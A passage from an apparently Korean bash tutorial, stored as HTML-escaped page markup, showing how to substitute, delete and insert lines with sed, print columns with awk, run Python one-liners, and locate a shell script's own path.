asdf adsf로 변경&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;2,3s/.*/asdf asdf/&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;2번째 라인의 asdf를 hjkl로 변경&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;2s/asdf/hjkl/&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;특정-단어를-치환&quot;&gt;특정 단어를 치환&lt;/h2&gt; &lt;p&gt;사용방법&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/바꿀대상/바꿀문자열/옵션&quot;&lt;/span&gt; &amp;lt;변경 파일&amp;gt; &lt;span class=&quot;c&quot;&gt;# 옵션&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# g - 모든 대상을 변경 (global)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# i - 대소문자를 구분하지 않음 (ignore case)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 첫 번째 대상만 변경&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/바꿀대상/바꿀문자열/&quot;&lt;/span&gt; &amp;lt;변경 파일&amp;gt; &lt;span class=&quot;c&quot;&gt;# 매칭되는 모든 대상 변경 (global 옵션)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/바꿀대상/바꿀문자열/g&quot;&lt;/span&gt; &amp;lt;변경 파일&amp;gt; &lt;span class=&quot;c&quot;&gt;# 대소문자를 구분하지 않고 매칭되는 모든 대상을 변경 (global ignore case 옵션)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/바꿀대상/바꿀문자열/gi&quot;&lt;/span&gt; &amp;lt;변경 파일&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;file.txt의 qwerty를 asdf로 치환&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/qwerty/asdf/&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;file.txt의 zz를 oo로 치환&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/zz/oo/g&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;변수를 치환할 수도 있다.&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apple apple is sweet&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/apple/orange/&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# orange apple is sweet&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/apple/orange/g&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# orange orange is sweet&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;바꿀 대상에 정규식을 사용할 수도 있다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;file.txt의 숫자를 모두 삭제&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/[0-9]//g&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;대소문자 구분하지 않고 asdf 를 oooo로 모두치환&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/asdf/oooo/gi&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;구분자는 ‘/’가 아닌 다른 기호가 될 수도 있다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;1번째 라인의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#!/bin/bash&lt;/code&gt; 를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#!/usr/bin/python3&lt;/code&gt;로 변경&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;1s@#&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\!&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/bin/bash@#&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\!&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/usr/bin/python3@&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;file.txt의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/crontab&lt;/code&gt;을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/cron.d/test&lt;/code&gt;로 변경&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s#/etc/crontab#/etc/cron.d/test#g&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;sed로-삭제&quot;&gt;sed로 삭제&lt;/h2&gt; &lt;p&gt;사용방법&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/찾을문자열/d&quot;&lt;/span&gt; &amp;lt;변경 파일&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;file.txt의 숫자가 존재하는 라인을 모두 삭제&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/[0-9]/d&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;특정-조건-위아래에-내용을-추가&quot;&gt;특정 조건 위/아래에 내용을 추가&lt;/h2&gt; &lt;p&gt;사용방법&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# a\ - 아래에 내용 추가&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# i\ - 위에 내용 추가&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 특정 라인 밑에 내용을 추가&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&amp;lt;라인&amp;gt;a\&amp;lt;추가할 내용&amp;gt;&apos;&lt;/span&gt; &amp;lt;변경 파일&amp;gt; &lt;span class=&quot;c&quot;&gt;# 특정 라인 위에 내용을 추가&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&amp;lt;라인&amp;gt;i\&amp;lt;추가할 내용&amp;gt;&apos;&lt;/span&gt; &amp;lt;변경 파일&amp;gt; &lt;span class=&quot;c&quot;&gt;# 특정 단어 밑에 내용을 추가&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/&amp;lt;조건&amp;gt;/a\&amp;lt;추가할 내용&amp;gt;&apos;&lt;/span&gt; &amp;lt;변경 파일&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;* 3번째 라인 뒤에 asdf asdf를 추가 ```bash sed -i &quot;3a\asdf asdf&quot; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;asdf가 포함되는 라인 밑에 uiop 문자열 추가&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/asdf/a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\u&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;iop&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;번외-awk-사용법&quot;&gt;번외 awk 사용법&lt;/h1&gt; &lt;p&gt;bash 스크립트는 사실 sed와 awk만 잘 사용하면 거의 대부분의 작업을 할 수 있다고 생각한다.&lt;/p&gt; &lt;p&gt;사용방법&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# 구분자 없을 시 &apos; &apos; (공백)으로 구분&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&amp;lt;구분자&amp;gt;&apos;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{print $&amp;lt;출력할 컬럼&amp;gt;}&apos;&lt;/span&gt; &amp;lt;파일&amp;gt; &amp;lt;출력내용&amp;gt; | &lt;span class=&quot;nb&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&amp;lt;구분자&amp;gt;&apos;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{print $&amp;lt;출력할 컬럼&amp;gt;}&apos;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;예제&quot;&gt;예제&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;file.txt의 줄 수를 출력&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;아래 방식대로 해도 되지만&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;file.txt | &lt;span class=&quot;nb&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;awk로 잘라도 된다.&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; file.txt | &lt;span class=&quot;nb&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{print $1}&apos;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 120 file.txt 내용을 공백으로 구분한 뒤 첫번째 컬럼을 출력하는 것이니&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 120 이 출력된다.&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;file.txt의 사이즈 출력&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; file.txt | &lt;span class=&quot;nb&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{print $1}&apos;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 90 file.txt 내용을 공백으로 구분한 뒤 첫번째 컬럼 출력 (90)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-al&lt;/span&gt; file.txt | &lt;span class=&quot;nb&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{print $5}&apos;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# -rw-r--r-- 1 root root 90 Dec 21 11:20 file.txt&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 아래 라인에서 공백으로 구분한 뒤 5번째 컬럼 출력 (90)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;번외-python&quot;&gt;번외 (Python)&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python -c&lt;/code&gt; 를 이용하여 python 코드를 실행할 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;python3 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;print(1.3 + 2.7)&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;기타-유용한-예제&quot;&gt;기타 유용한 예제&lt;/h1&gt; &lt;p&gt;&lt;a href=&quot;./linux&quot;&gt;리눅스 메뉴얼&lt;/a&gt; 문서도 참고하면 좋다.&lt;/p&gt; &lt;h2 id=&quot;쉘-스크립트-실행-파일-path-찾기&quot;&gt;쉘 스크립트 실행 파일 path 찾기&lt;/h2&gt; &lt;p&gt;pwd로 가져오면 쉘 스크립트를 실행했을 때의 경로에 따라 위치가 달라질 수 있어 쉘 스크립트 실행 파일의 경로를 찾아야 할 때가 있다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.sh&lt;/code&gt; 쉘 스크립트가 /etc/에 존재한다고 가정할 때&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; / /etc/test.sh &lt;span class=&quot;c&quot;&gt;# pwd 시 / 출력&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /usr /etc/test.sh &lt;span class=&quot;c&quot;&gt;# pwd 시 /usr 출력&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /etc ./test.sh &lt;span class=&quot;c&quot;&gt;# pwd 시 /etc 출력&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;쉘 스크립트의 실행하는 위치에 따라 pwd로 가져온 경로가 달라진다. 즉, 아래 예제와 같을 경우 /etc에서 실행하지 않으면 confpath.conf 를 찾을 수 